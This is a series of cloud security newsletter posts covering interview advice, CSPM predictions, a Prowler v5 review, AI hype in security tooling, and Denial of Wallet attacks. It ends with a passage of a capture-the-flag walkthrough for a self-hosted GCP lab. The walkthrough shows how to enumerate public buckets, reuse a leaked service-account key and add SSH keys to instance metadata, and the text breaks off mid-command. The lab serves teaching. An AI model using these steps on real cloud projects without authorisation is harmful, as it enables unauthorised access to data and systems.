I'm a Senior Cloud Security Engineer who has been on both sides of the interview table - as a candidate and an interviewer.

I want to share three interview tips (and one bonus tip) to help you succeed in Senior Cloud Security Engineer interviews and advance your career.

Use these tips not just to crack the interview, but to become a better cloud security engineer.

Tip 1: Know What You Wrote On Your Resume

Know your resume.

I've seen many candidates who don't know what they put on their resume. This happens in two ways:

1. Candidates don’t know what they wrote on their resume because they fed it to an AI tool that added keywords from the job description (to trick HR screening).

2. Candidates exaggerate or fake their cloud security experience on resumes (ex: Least Privilege, Zero Trust Security, etc. while all they did was fix Access Analyzer findings).

Don't do this!

Before applying or interviewing, at least review your resume if you fed it to an AI SaaS.

If you faked your experience, interviewers can detect it by asking more detailed questions.

“I have no choice but the above. I didn’t find an alternative.”

Well, you have a better solution.

If you lack hands-on experience, get some.

Do a project on your own time. Solve a cloud security issue you encountered. Contribute to open source.

Here are some ideas:

• Create infrastructure using IaC

• Setup CI/CD pipelines to scan IaC files and deploy to cloud

• Spin up vulnerable cloud projects and fix the issues

• Deploy a cloud honeypot in the cloud and monitor the attacks

• Contribute to a popular cloud security open source project (like Prowler)

• Build a simple cloud security application, add WAF and find the

The key is to have something tangible to discuss in the interview. This will demonstrate your genuine interest and practical skills in cloud security.

Don't claim skills you lack.

One or two rounds of technical interviews will reveal the candidates’ skills.

Before any interview, create a "cheat sheet" of your accomplishments, failures, and learnings related to cloud security. Include:

• Contextual cloud security issues you mitigated and how

• Automation tools you built and why you chose them over OSS/Commercial.

• How did you collaborate with DevOps and infra teams on security?

• Implemented security process improvements

• Criteria used to evaluate tools/services

Having these concrete examples in mind will help you significantly during interviews.

Sample interview questions to prepare for:

• Tell me about a project you did in the past and what you learned from it?

• What programming languages are you familiar with? How did you use them with your previous automations?

Tip 2: Get Practical, Hands-On Experience

Second, get practical.

For a senior role, you need in-depth, hands-on knowledge of the cloud platform. You can't just memorize concepts; you must understand how things work in the cloud.

If your job doesn't let you work deeply with the cloud, create that opportunity yourself. Spin up your own accounts and resources. Build a project. You need that real-world foundation.

The key difference between Cloud Security Analysts and Cloud Security Engineers is understanding the cloud platform, not just cloud security tools.

You need to know:

• Creating secure VPC networks

• How do IAM roles & policies work in practice?

• Nuances of different services' security controls

• Common misconfigurations and prevention methods

Don't rely on tools to flag issues. Understand the "why" behind best practices on a deep technical level.

Sample interview questions to prepare for:

• If you attach a security group allowing port 22 but a NACL denying it, what will be the end result?

• What risk does IMDSv2 mitigate?

• What compensating controls could you use if best practices (like IMDSv2) can't be implemented?

Tip 3: Expect Strategic, Open-Ended Questions

Third, expect abstract questions.

For senior-level roles, interviewers go beyond technical basics. They want to explore the breadth and depth of your strategic security thinking.

Interviews ask open-ended questions like:

• How to secure cloud environments?

• How to secure applications that developers deploy to Kubernetes?

• If you find a lot of attacks on your web applications, how are you going to protect against it?

Let me spill the beans.

There's no one right answer.

Interviewers want to see how you approach complex challenges.

Do you jump to a solution (like recommending AWS security services), or thoughtfully consider the context?

Before proposing a solution, get more context. Ask:

• Business overview

• Deployment processes

• Team structure and culture

• Current cloud architecture & scale

• Security and compliance requirements

There are always trade-offs. They want to see that you understand and can design an approach that balances risk, usability, and cost based on the situation.

Bonus Tip: Think Out Loud!

This is key for those strategic, abstract questions.

Don't just think quietly to yourself, trying to formulate the "perfect" answer. Walk the interviewer through your analysis in real-time. Explain the factors you're considering, even if it feels obvious.

What seems basic to you could be insightful to them. Talking through your logic helps the interviewer understand your thought process.

Thinking aloud gives the interviewer opportunities to provide prompts or hints if needed.

While answering the open-ended question “How to secure applications deployed to Kubernetes?”, I missed discussing network security controls. The interview prompted by asking “What if there’s a DDoS attack?”, which helped me cover network controls in my solution.

Putting It All Together

• Don’t fake your resume.

• Create a cheatsheet to remember your past progress.

• Focus on gaining practical cloud skills, not just using cloud security tools.

• Hands-on experience helps you understand actual cloud security risks and how to prevent or mitigate them.

• Before answering abstract questions, get more context.

• Think out loud and explain your thought process before concluding.

I hope these tips help guide you to the next level in your career. They've gotten me to where I am today.

If you have any other questions, I'm happy to discuss further.

I've been asking myself this question for a few months now.

I feel the CSPM space is saturated.

Almost all Cloud Security Posture Management (CSPM) tools (open source & commercial) have similar capabilities. The differentiating factor is add-ons like commercial support, near real-time detection, neat UI, and intuitive output with misconfigurations represented in graphs.

Will the commercial CSPM vendors keep the minimum number of developers to maintain the product and fire the rest?

Will there be no new features besides periodic UI/UX changes?

(Spoiler alert: I don't think so)

After spending considerable time with CSPMs, I predict 3 things that would happen in the CSPM space (in the next 3 years or until Gartner replaces it with another jargon - whichever comes first.)

Note: These are my personal views and predictions. I'll probably post in 2028, reviewing if my predictions were correct and what I missed.

What do CSPMs do?

Refer to Gartner's definition of CSPM tools:

On a high level, CSPMs:

• Maintain Asset Inventory

• Detect configuration issues

  • Missing security best practices

  • Cloud service misconfigurations that can lead to security incidents

These tools provide remediation steps and automation to prevent, detect, and respond to issues in the future.

Will CSPMs still exist in the near future?

They will continue to exist. I'm confident.

Fresh grads join the workforce. New ideas and startups emerge.

What's a better place to deploy your MVP than cloud platforms, given the incentives and credits they offer to startups.

And, what solution mitigates common security issues in cloud platforms that lead to breaches?

CSPMs. Unarguably.

The CSPM segment will continue to exist.

“Okay, my friend. Won’t CNAPPs replace CSPMs?”

I don't think so. The base assumption for using CNAPP solutions is that there's a security team to manage the tool. Many companies and funded startups don't have security teams or even a one-person security team.

CSPMs balance between no cloud security and a full-fledged CNAPP tool.

Companies whose security teams have been using CSPM for some time and got their internal processes sorted (like Devs and DevOps fix bugs within SLA) might aim to get a CNAPP tool to level up their cloud security. In those cases, CNAPP would replace CSPM tools.

How will CSPMs evolve?

Increases coverage to include more services

Currently, CSPMs don't cover all services in supported cloud providers, focusing on the most commonly used ones.

AWS Config, a native CSPM service (when used alongside Amazon SecurityHub), doesn't support all AWS services and has different resource coverage across regions.

In the near future, CSPMs (and Cloud Native CSPM services) will stabilize across regions and increase the coverage of other existing services. Then, there's the development of new services and features among cloud providers.

Growth Cycle of CSPMs

So, as long as Cloud Providers keep shipping new services and features, CSPMs will keep adding them to the checklist.

Note: If new regulatory frameworks involving cloud platforms emerge or if there are changes to existing ones, CSPMs will pick up.

Increases coverage to include niche cloud providers

Major cloud providers are costly. If you disagree, check the data egress fees of AWS, GCP, and Azure to begin with.

Good number of startups and companies using cloud platforms, especially those running containerized workloads in production, are switching/planning to switch to other cloud providers offering cheaper resources and/or private data centers.

Migrating to cloud platforms like Oracle Cloud, Alibaba Cloud, etc.

Cloud-native companies can see a considerable price reduction after migration. Companies can use a fraction of the saved costs to hire engineers to develop missing capabilities or workarounds for the new cloud platform.

Other players (like Linode and Cloudflare) could start marketing themselves as cloud platforms and better alternatives to major cloud platforms for certain usecases. (I also predict Cloudflare's Developer services will become a niche cloud platform with a customer base for Workers, R2, and AI services. 🙂)

So, CSPMs will cover other cloud platforms and possibly private cloud/data centers where security issues are just a misconfiguration away.

Niche commercial CSPM players emerge

While the core functionality remains the configuration checks, the commercial CSPM tools might cater to specific audience.

For example, Akash Mahajan’s startup, Kloudle, helps Developers and DevOps teams to secure their cloud.

Similar CSPM startups will emerge.

Such CSPMs might focus on one or few service types (like Serverless, GenAI, etc.), do it slightly better than the competition, and grow further.

So, yeah. These are my three predictions for CSPMs in the near future. Let's see how things pan out.

Let’s Connect

I've been using Prowler for a few years now. It's my go-to open-source tool for quick cloud security audits.

A few months ago, Prowler released v5 (codename Powerslave) at AWS re:Invent. The new dashboard in the release blog looked cool. However, I was busy with my LLM experiments.

Last week, I had time to play around with the latest Prowler release. Here's my analysis.

To summarize Prowler v5, it's Prowler's big leap from being an open-source CSPM tool to a self-hostable open-source CSPM platform.

It has structured its code a bit. It has a much fancier dashboard as part of the Prowler App. It also exposes APIs so you can access Prowler App programmatically.

But before we dive deeper, let's look at some pain points that Prowler App in v5 solves.

Limitations with the predecessor (v4)

Minimal Dashboard

Prowler v4 has a minimal dashboard that you can spin up using the command prowler dashboard.

(Just FYI, the Prowler dashboard feature is still available in v5)

Prowler Dashboard

It's better than having no dashboard at all. However, the minimal dashboard is more of a temporary HTTP server that can quickly visualize findings than a full-fledged standalone web server.

It displays the findings from the saved CSV files from previous scans.

One thing to note is that the dashboard doesn't have any authentication. So, even if you write a wrapper on top of the Prowler dashboard to host it as a server, then be careful - it might be a single misconfiguration away from becoming publicly accessible to the internet.

Periodic Scans & Tracking Changes

Out of the box, v4 doesn't support periodic scans. To achieve it, you must create a Linux cron or something similar.

If you have set it up, congrats. Now comes the operational part.

With periodic scanning in place, you need at least periodic validation of these findings. Now,

• How do you know the diff between two scans?

• How do you know which findings got closed and which popped up?

• How do you only send alerts to your Slack/Microsoft Teams when new issues are detected?

It's tricky.

You need to write custom scripts to achieve those tasks.

If you don't want to write custom scripts, you can achieve it by connecting Prowler to AWS Security Hub and integrating AWS Chatbot to alert new findings on Slack/Microsoft Teams. I've described the process in my course.

Slide from my course on sending Prowler alerts to Security Hub

Again, using Security Hub solely for detecting and alerting on the diff purpose might not be very appropriate.

Welcoming Powerslave (v5)

Prowler v5 tackles both the above limitations using the Prowler App - a full-fledged CSPM platform, in my opinion.

(Note: If you stick with the v5 CLI, the problems mentioned earlier will persist.)

Unlike the dashboard feature, which you can spin up with just the prowler dashboard command, the Prowler App is a multi-container docker-compose file you'll need to download and setup.

curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
docker compose up -d

Prowler App Dashboard

You can self-host it. Connect your cloud accounts & Kubernetes clusters to it. Start scanning and securing.

Features of Prowler App:

• Supports multi-user and RBAC - Adds authentication and authorization layer view findings or manage settings. Users can be assigned roles. (SSO Connectors that are currently on their roadmap will be a great feature if released to OSS Prowler)

• Pretty good dashboard - Filters out findings based on accounts and scan IDs, check your compliance status against multiple frameworks, etc

• Stores the findings in Postgres DB - Interacting with the DB is unnecessary, but if you're into connecting data to BI tools in your org, this can help you.

• Periodic scanning and diff between scans out of the box - Once you connect your cloud accounts and initiate a scan, it will automatically be configured to scan every 24 hours. You also have a filter to find the delta between scans.

• Documented APIs to interact - If you have any use case where you need to interact with Prowler findings programmatically, then APIs can be the way to go.

• Supports dark mode - If you're into switching on dark modes across the apps you use, then this is for you 😛

Prowler App’s Delta Feature

Prowler App’s Compliance Dashboard

Should You Upgrade?

Well, if you use Prowler CLI, I highly recommend to upgrade. You have new checks (including GenAI checks), fixers, and bug fixes.

If you want to try the Prowler App, you don’t need to upgrade your CLI. You can download the docker-compose file and set up the app.

If you are trying out the Prowler App, I need to make you aware of the following:

• You can't onboard all your AWS accounts under AWS Organization at once. Instead, you have to connect one account at a time.

• The option to export the findings is not available. The same goes for options to mute or mark as false positive.

• You can't change the scanning schedule—a fixed schedule of 24 hours per account.

• Anyone who can access the app can sign up for an account. There is no option to turn off that feature.

• The default configuration scans across all your AWS regions. It doesn't support mutelists on the UI yet.

• Doesn’t support sending alerts to Slack/Microsoft Teams.

• Prowler App containers (especially the Django container) are resource-hungry. The CPU spiked up to 200% during the initialization, and the containers used 4GB of RAM on my Macbook. The CPU usage dropped once the initialization completed, but RAM was hovering above the 3GB mark.

Most issues I mentioned are on Prowler's roadmap or are actively being fixed.

I predict that Prowler App, in a few releases, will become a robust self-hostable CSPM platform.

Until next time 👋

Let’s Connect!

TL;DR:

• Vendors are slapping "AI-powered" on everything to get more attention (and possibly investments)

• What AI actually does in cloud security right now:

  • Summarization: Creates summaries of security findings with additional context like resources, tags, logs

  • Tailored Remediation: Gives exact commands and IaC code to fix security issues

  • AI Chatbots: Helps answer questions about findings and documentation

  • Rephrasing Findings: Changes how issues are explained based on who's reading (engineers, business folks, compliance team)

  • Natural Language Features: Turns language into automation tasks, security queries, and security policies

• Bottom line: AI in cloud security is not matching up to the hype in the market right now - it's just making security tools easier to use instead of doing anything super technical or groundbreaking (though very few exceptions exist)

I attended a security conference recently. One thing stood out - from CISOs to CXOs to vendors in the stalls.

AI. AI. Fricking AI.

Quantum security is picking up. Zero Trust is still present, as usual. But right now, the buzz is clearly AI.

I heard all sorts of statements from the speakers.

"Attackers are already using AI."

"Defenders must use AI."

“The only way to fight AI is with AI.”

Also, I can’t help but notice the subtle endorsement of the vendors’ Gen-V AI-Powered Hyperscale Cloud Security Solutions. 

AI Powered. AI Driven. AI Infused. Whatever.

I’m not skeptical of new technology when I encounter it. But I’m wary of the people endorsing it (and possibly their intentions behind it). I double-check whether they are telling the truth, partial truths, or outright bluffing.

So, after the conference, I dedicated my weekend to seeing how companies (vendors and customers) use this new AI technology and whether AI in cloud security is really a game-changer that lives up to the hype.

What's AI?

For beginners, let’s start with Artificial Intelligence (AI).

AI is a broader term for any computer system designed to mimic human intelligence.

Machine Learning (ML) is a specific AI approach in which systems learn from data rather than following explicit rules. 

Generative AI (GenAI) is a broader category (within AI) that refers to any AI capable of generating new content. While Large Language Models (LLMs) can be used to create text-based GenAI applications, GenAI also includes image generation, music/audio creation, and other forms of content generation that don't necessarily use LLM technology.

Source: https://medium.com/@fraidoonomarzai99/introduction-to-generative-ai-and-llm-in-depth-aaf4bb5546ff

Now, if you label LLM, GenAI, and ML as AI, you can label many existing cloud security tools and services as AI-powered (without changing a single line of code).

Amazon GuardDuty has been an AI-powered service for a few years now (even though its AI capabilities have some shortcomings). 

Cloudflare has been using AI to defend against bots for a few years.

Microsoft Sentinel took the initiative to democratize AI for Security Operations in 2022 (even before this AI hype).

AI in Cloud Security

Vendors are at the forefront of innovation when it comes to using AI in cloud security. (Partly because they can raise more eyebrows and drive more investments).

Reading public blog posts and examining the features of cloud security tools can give anyone an idea of how AI is used and what is working. 

Just because an AI feature is present doesn’t mean every customer uses it and finds value. However, it does show that AI might simplify specific tedious tasks and solve some problems.

This blog post summarizes how AI is powering cloud security right now.

Summarization

LLMs are good at summarizing large texts. For them, the description of security findings is no different - just a set of words waiting to be summarized.

Security tools (with the help of LLMs) can create summaries with additional contexts (such as the resource's name, tags, logs, etc) instead of a generic description stating, "The following assets are vulnerable to XYZ.”

The summarization is not helpful for more straightforward checks. An unencrypted database is just an unencrypted database, no matter how you summarize it.

However, the summarization feature is a bit useful when dealing with complex findings like:

• multiple low-severity findings chained to form higher-severity ones

• issues across multiple cloud and identity platforms synergizing to create misconfigurations

• anomalies detected using logs from multiple sources (endpoints, applications, etc.)

The summary relates different issues and gives a high-level overview of the findings.

Tailored Remediation

Just like summarization includes your asset & findings data as part of the output, LLM-generated remediation steps give you exact instructions for remediating misconfigurations.

There are no more placeholders. 

If your S3 bucket is misconfigured, AI provides the exact AWS CLI commands to secure it, along with prefilled information like the bucket name and region.

A seemingly significant advantage is when the remediation needs changes in IaC repos - Cloudformation, Terraform, etc. AI-generated code might save time for users (especially developers) as they can copy and paste the remediation steps.

Can IaC scanners help with remediation instead of relying on AI-generated code? I think it can be.

Wiz seems to have improved this use case a bit. Wiz now dynamically suggests the best remediation strategy based on the risks identified. Suppose there’s a toxic combination (multiple low-severity bugs synergizing to form higher-severity attack paths). In that case, Wiz seems to use AI to strategize the best and minimal remediation you can do to break the combination.

Another interesting example is Orca’s IAM Policy Optimizer. This feature uses AI to find the best possible remediation for overprivileged roles while considering security and long-term operability.

Orca’s IAM Policy Optimizer.
Source: https://orca.security/resources/blog/multi-cloud-support-iam-policy-optimizer/

AI Chatbots

Almost every Cloud Security vendor has a chatbot integrated now:

• Lacework AI Assist 

• SentinelOne Purple AI

• Sysdig Sage

• CrowdStrike Charlotte AI

• Prisma Cloud Copilot

• Accunox Ask Ada

In simple terms, these chatbots integrate the natural language processing capabilities of LLMs (like Claude) and the context of your cloud (assets, findings, logs, misconfigurations, etc). 

If you want to know more about a finding, you can ask the chatbot directly (instead of copying the finding to ChatGPT/ClaudeAI). These chatbots reply to your queries just like a knowledgeable peer would.

Example chatbot queries:

• Why does this finding matter? 

• What’s the best way to fix this? 

• What policies do you support (based on the tool’s documentation)?

• Explain about baselines and how to configure CIS baselines.

• What’s the current compliance status of XYZ Kubernetes cluster

Integrating an AI Chatbot has another advantage for cloud security tools with complex UIs. 

You don’t have to click the third option on the left navigation bar, scroll down, and make a few more clicks to understand your Kubernetes cluster's compliance score. 

You can just ask an AI Chatbot about it without navigation (saving you some time and brain cells). 🤓 

Rephrasing Findings

Every team speaks differently. 

You can’t just send a finding about an overprivileged IAM role to different teams and expect them to understand and prioritize the fix.

With Engineering, you highlight the principle of least privilege and lateral movement if compromised.

With Business, you highlight how exploiting it leads to data breaches and associated reputation damage and fines.

With Risk & Compliance, you highlight how it might cause an audit finding or compliance risk. 

The rephrasing feature (mostly part of AI Chatbots) helps with it. Depending on the person and their team, the security tool can rephrase the findings to help them better understand.

This feature's biggest bet (according to CNAPP providers) is that it democratizes CloudSec tools. Security teams should not use these tools in silos but rather share them with other teams that prioritize and remediate the findings. Different teams can then understand the issues & take action on them - making “Security is Everyone’s Responsibility” come true.

Natural Language to Automation

When security vendors combine the chatbot with AI agents, something interesting happens. 

AI agents can understand what you want from your natural language input and act on your behalf when required (e.g., invoking API, changing configuration, deploying tools, etc.).

Scheduling weekly security scans doesn’t require you to click in multiple places.

Tell the chatbot to do it.

You don't need to look up the cron pattern to send an executive report on the current state of compliance on the first day of every month.

Tell the chatbot; it will find it and set up the automation for you.

Again, AI saves time used for navigation & clickops.

Does it prevent the creation of the same automation multiple times? Can it delete existing automation and workflows, causing more harm than it can help?

I don’t know yet. It’s very vendor’s chatbot specific.

Natural Language to Query

Every CNAPP vendor provides a proprietary query language or interface to query your cloud asset inventory. SIEM vendors are infamous for their proprietary query language to query logs.

Proprietary stuff means you, as a security engineer or analyst, must learn how to use it. There’s a learning curve involved.

You need to relearn every time you switch to a different org using a different tool.

With AI integrated into the product, that’s a bit easy. You tell it what you want, and it creates the query for you and loads it into the security tool.

I say it’s a “bit easy” and not “a problem solved by AI.”

AI works well when creating simple queries, but with some complexity involved, it fails. Until AI solves this problem, you should learn the proprietary languages and ask the chatbot whenever you have a doubt (and hope it doesn’t hallucinate).

Natural Language to Code & Policy Generation

It is similar to Natural Language to Query conversion but for tools outside the CNAPP or SIEM.

Example: natural language to Rego, Cedar, Yara, Sigma, YAML, etc.

ARMO uses GPT-3 to convert natural language to Rego-based OPA policies.

Natural Language to Rego rule generation using GPT-3
Source: https://www.armosec.io/blog/armo-chatgpt-create-custom-controls-faster/

So, What's AI-powered, again?

Many security vendors have just integrated some sort of LLM and call their tools “AI Powered.” Their AI capabilities differ vastly from vendor to vendor.

As you have seen, the AI LLM (and possibly underlying AI agents) in cloud security products are not doing anything groundbreaking (at least on the technical side). 

It's not automatically detecting more issues than non-AI counterparts. 

It’s not detecting additional assets or attack patterns (just summarizing what’s already detected.)

It’s not matching up to the hype in the market right now.

At maximum, AI is currently:

• Improving the UX and simplifying the UI of the security tool (you don’t have to do clickops or search for the right option in the dropdown menu; just ask Chatbot to do it)

• Summarizing and paraphrasing the findings (same issue but different summary if you’re part of engineering or business)

• Lowering the barrier for non-security folks to use cloud security tools (just ask the chatbot for documentation, convert your sentence to query, ask for a custom Rego policy, etc.)

Speaking on the technical front, examples like natural language to policy and automation generation are good but not good enough (yet). 

Also, these natural-language-to-policy examples are intermittent events. I don’t think I (or others) will use this feature every day in a way that allows me to confidently say AI has saved me a substantial amount of time and effort (without learning the policy/query language). 

I would love to see more features tackling recurring problems (like Orca’s IAM Policy Optimizer) from other security vendors.

I didn’t mention hallucinations and the impact of faulty AI-generated summaries or remediation steps. Maybe that’s a topic for another day.

Moar AI, Moar Questions

The more I read about AI power in Cloud Security products, the more questions I have. Here are a few I have in mind now:

1. A good number of AI-powered CloudSec vendors also have AI-SPM capabilities. Are they dogfooding their AI-SPM capabilities to secure their AI features?

2. Can AI take costly actions on your behalf and generate a bill? Something like Self-Denial of Wallet?

3. If AI greatly simplifies the UX of CloudSec tools and reduces the bar so anyone can manage them, do Cloud Security vendor certifications (like PCCSE) hold value? Will they even be required in the future?

4. What’s the impact of hallucinations when chatbots reply with logs? What if the remediation isn’t a remediation, or if it creates another misconfiguration?

5. What do access control and logging look like? Can an engineer with limited access get findings and information from different accounts using Chatbots? If the engineer uses AI to create automation in the security tool, how does it look in the logs?

If you know answers to any of the above, please reach out to me on LinkedIn or email badshah@cloudsecurity.club

P.S. I'm currently taking on select freelance projects related to securing AWS environments. If you or someone you know needs help securing cloud environments, I'd love to chat! Just reply to this email or reach me at badshah@cloudsecurity.club.

In the previous blog post, I introduced the Denial of Wallet bug class and what's in it for attackers.

Whenever I discuss DoW in security meetups or with peers, I find a recurring misconception. "Denial of Wallet is a serverless function attack vector. If you don't use serverless functions, you don't need to worry about it."

It's not their mistake.

News and security blog posts mostly associated DoW attacks with serverless platforms. Typical examples are static websites hosted on serverless platforms that generate huge bills after a DDoS attack, web scraping, or many spam account signups.

https://old.reddit.com/r/webdev/comments/1b14bty/netlify_just_sent_me_a_104k_bill_for_a_simple/

Twitter tweet

Twitter tweet

Even academic papers on the Denial of Wallet focus on serverless platforms only. (Ex: One, Two, Three, Four)

How DDoS Leads to DoW in Serverless Functions

The most common (and easiest) way to generate a massive bill for serverless customers is through DDoS.

Let's analyze a sample DDoS attack.

1. The serverless function is accessible from the Internet. DDoS traffic reaches the function

2. The cloud platform auto-scales the function to respond to each request

3. The cloud platform charges (a massive) fee because of the usage. This charge includes both compute and bandwidth usage.

Let's examine step 2.

In step 2, the cloud provider lacks the context of traffic. From their point of view, requests from L7 DDoS can look the same as those from massive Black Friday/Christmas sales. So, they auto-scale the serverless functions to handle the traffic.

Once the DDoS attack is over, you will end up with a massive cloud bill- as the cloud provider assumes it was genuine traffic, and they helped to seamlessly "scale up" the backend to meet the needs.

Suppose you remove the "auto-scaling" part from this attack scenario and keep the concurrent execution of functions static; a DDoS attack doesn't lead to a massive cloud bill. The attack might take down your application. But it will not skyrocket your serverless compute charges.

Hence, rapid provisioning of resources (aka scaling up) leads to more cost.

DoW In Cloud Native Services

Cloud Native services often abstract the infrastructure underlying it. This abstraction also includes scale-up and scale-down operations.

Let's take the example of a cloud-native blob storage - Amazon S3.

Do you want to store 1 GB of data? You can. Do you want to store 10 TB of data? You absolutely can. In both cases, you'll not know the underlying infrastructure, such as the number of storage disks or servers used. All you know is that Amazon S3 is a reliable and durable cloud storage system for storing your files.

But with abstraction comes grey areas. Pricing is one among them.

Cloud providers have to come up with "creative" pricing that pays for the underlying infrastructure and other overhead costs (salaries to devs developing the cloud services, profits, etc). More importantly, this pricing must be based on parameters visible to cloud customers.

Often, this includes parameters like the geographical region, number of requests, and data transfer involved.

Let's take Amazon S3, for example, again.

You have a separate price for the storage (and the storage class) used.

Region: ap-south-1

You have a separate price for the number of requests sent to S3.

Region: ap-south-1

You have a separate price for the data transfer from the bucket to the Internet (aka anyone downloading the files).

Region: ap-south-1 (Transferring 1 GB costs 4X its storage price in S3 Standard. LOL)

Let's look closely at the cost of requests.

Cost of Misconfigured Amazon S3 Bucket

I created an empty S3 bucket and intentionally misconfigured it to list the objects.

Let's demo what happens if an attacker sends a million requests.

Amazon S3 service assumes that the traffic the bucket receives is intentional and auto-scales underlying infra (when necessary) to respond to a million requests.

The Cloud Provider lacks the context of traffic. The Cloud Customer lacks control over the underlying scaling configurations of cloud-native services.

At the end of attack Amazon S3 handling a million unauthenticated requests, my empty bucket (with object listing enabled) got me a bill of USD 5.

Key Takeaways

Any cloud or cloud-native service where attackers can trigger the scale-up of resources is susceptible to the DoW bug class.

Serverless functions and platforms are infamous for DoW attacks. Cloud-native services are kind of "serverless" because the underlying infrastructure is abstracted from customers and auto-scaled by cloud providers to handle traffic.

If you're threat modeling serverless applications or integrating cloud-native services with your systems, you should consider the DoW bug class.

In the next blog post, I'll talk about how weaponizing internet bandwidth can make cloud customers bleed money.

If you liked this post, please forward this email to your friends working in Cloud Security or share it on social media.

If you wish to get the next blog post to your inbox, subscribe to this newsletter.

Black Friday Offer - 51% OFF

One thing that public clouds emphasize is scalability. You pick any "Why should you use cloud" blog posts of public cloud providers. One of the top five reasons is scalability.

Do you want a single server up and running? Or do you want 10,000 servers up and running?

Cloud providers have got you covered.

You focus on your business logic and applications. Cloud providers help you scale quickly to meet your needs.

And the best part?

You only pay for what you use!

This flexibility makes the cloud appealing to companies of all sizes - from startups with few engineers to multi-million dollar companies with hundreds to thousands of engineers.

But there's a catch with this statement.

You only pay for what you use.

If you use many resources (even unintentionally), you must pay for that.

This quick resource provisioning and pay-for-usage pricing make Denial of Wallet (DoW) attacks a potential threat in the cloud.

So, What's Denial of Wallet?

It's a bug class, which, when exploited by attackers, leads to a huge cloud bill for the victim.

Let's take a DDoS attack, for example.

When a DDoS attack occurs, the backend servers get overwhelmed by the number of requests. Your cloud provider may automatically spin up new servers based on the autoscaling configuration to handle incoming requests.

If you look closely, these additional servers have a cost. By the end of the DDoS attack, your cloud bill includes the price of the original servers you had + the cost of newly spun-up servers (+ additional data transfer costs to respond to those DDoS requests.)

So, a DDoS attack on your cloud resources can significantly inflate your cloud bill.

DoS and DDoS are not the only attack vectors in the DoW bug class. A wide range of attack vectors can increase your cloud bills, all falling under this category. Other popular attack vectors include Cryptojacking and LLMHijacking.

The increase in your cloud bills depends on the attack. An attack can be slow and steady and increase cloud bills over time (ex, continuous scraping by LLM companies bots). Or it can cause a massive increase in cost within a day/few hours (ex, spin up a gigantic GPU server for crypto mining post credential leak).

But before I continue this DoW blog series, I must clarify one thing.

Unlike Denial of Service (DoS), Denial of Wallet doesn't block you from accessing your wallet. Instead, it makes you lose money on your cloud bills. You can still access your wallet during the attack (and before your cloud provider notifies you of the bill).

A better name could be Exhaustion of Wallet. Only in the worst case, when you have no money left in your wallet to pay the bill, then it might qualify as "Denial of Wallet" 👿

DoW is an interesting bug class

Usually, security attacks directly affect the CIA triad, but some attacks in this bug class don't. That's why (I assume) Denial of Wallet attack vectors are marked as Informational/Not Applicable/Accepted Risks in bug bounty programs.

Some DoW attack vectors (like Cryptojacking or LLMHijacking) may not even impact your existing resources. But they still achieve the goal of making you bleed money on cloud bills.

In the worst-case scenario, DoW could impact Availability but not Confidentiality or Integrity of your systems.

If the number of servers hits the allocated server quotas in your account (due to cryptojacking), new servers can't spin up (say, autoscaling backend servers, data engineering workloads, etc.)

If the number of concurrent serverless functions reaches the maximum limit (due to a DDoS attack), your cloud provider might start throttling. Requests from genuine customers might also get blocked.

What's in it for attackers?

DoW is digital vandalism. Attackers might not get anything from the attack, but the victims lose something.

Photo by Julia Joppien on Unsplash

Let's say an attacker made you spend 100k USD overnight in a DoW attack (and your cloud provider doesn't agree to refund it); you've lost 100k. You could have used it for other things — product research, hiring new talent, etc. But now the money is gone.

These massive cloud bills could be a significant blow if you're a bootstrapped startup or solopreneur running things on the cloud. Sometimes, this leads you to declare bankruptcy and close the shop (or at least the cloud account).

In the upcoming blog posts, I'll explain the popular attack vectors that fall under the DoW bug class and the mitigation steps.

Until next time. 👋

Black Friday Offer - 51% OFF

GCP-Pentest-Lab is a vulnerable environment designed to explore and exploit GCP misconfigurations. This project contains different misconfigurations (with six flags), and the flags have no specific format. Players start as random users through a web application and must find their way through various security flaws without relying on traditional web or OS-level exploits.

Table of Contents

• Setup

• Flag-1

• Flag-2

• Flag-3

• Flag-4

• Flag-5

• Flag-6

Setup

Go to any command line (Linux preferred). Configure your Google Cloud account as given in the initial steps of this lab.

First, clone the GitHub repository.

We can see the terraform files in it that we need to run to spin up this lab.

terraform init

terraform apply

While deploying, enter the project ID of the GCP project you will use to run this lab.

We get a public IP of the VM, which is the entry point to the labs.

Flag-1

Description: Flag 1 is in an open bucket

Solution:

Let’s try visiting the IP address from the output in the browser.

The images on this website are hosted on GCP buckets. The name of the bucket is cloudsecurityclub-gcp-prod-bucket.

We can see if the bucket is misconfigured to list the contents of the bucket.

https://storage.googleapis.com/storage/v1/b/cloudsecurityclub-gcp-prod-bucket/o

When we tried to do so, we got an error message saying the user didn’t have the .list permission on the resource. In simple terms, the objects in this bucket can be public, but the bucket doesn’t list all the objects in it.

However, the Flag 1 description says it is an open bucket. Let’s see if other images are hosted elsewhere. 

In one of the images on the website, we can see that the bucket name (cloudsecurityclub-gcp-dev-bucket) differs from the previous bucket we found.

We will see if this bucket is misconfigured and lists all the objects.

https://storage.googleapis.com/storage/v1/b/cloudsecurityclub-dev-dev-bucket/o

We can see the list of all the objects in this public “dev” bucket. 

Now, we will analyze all the objects.

We can see this object named flag1.txt. We will download it using the mediaLink given.

Just click on that mediaLink URL or paste it into the browser.

The downloaded file has our first flag.

Flag-2

Description: Flag 2 is in another bucket, but this one isn’t public 🙂

Solution:

From the objects in the same cloudsecurityclub-gcp-dev-bucket, we find another interesting file – sync_sa_key.json.

Upon downloading it in the same way as above, we got the below key.

The service account file contains base64 content. We will decode this base64 string and rename it as decoded_sync_sa_key.json.

Now, we will activate the service account with this decoded key.

Now, we will list the buckets using this service account.

gsutil ls

We now will list the content of cloudsecurityclub-gcp-secret-bucket.

This shows that this bucket has flag2.txt.

We got the second flag.

Also, when we list the content of the other secret-secret bucket, we can see that this bucket has flag-6.txt.

We got an error when copying this flag-6.txt from this bucket.

We’ll get back to it later. We will go to find the next flag now.

Flag-3

Description: “Flag 3 is sitting inside some source code.”

Solution:

We will access the web application’s source code by SSHing into the virtual machine.

For that, first, we will set the public ssh-key into the metadata of the compute instance. Then we will try to ssh into the instance and search for the source code there.

We will generate the ssh-key:

ssh-keygen -t rsa -b 4096

We will keep the name of the SSH key as ssh-key-gcp

We can see that SSH private key and public key are created.

We will set this public key in the metadata of the compute instance and use the private key to ssh into the instance. 

We will now add the SSH key to the metadata of the instance

gcloud compute instances add-metadata cloudsecurityclub-gcp-flask-vm 
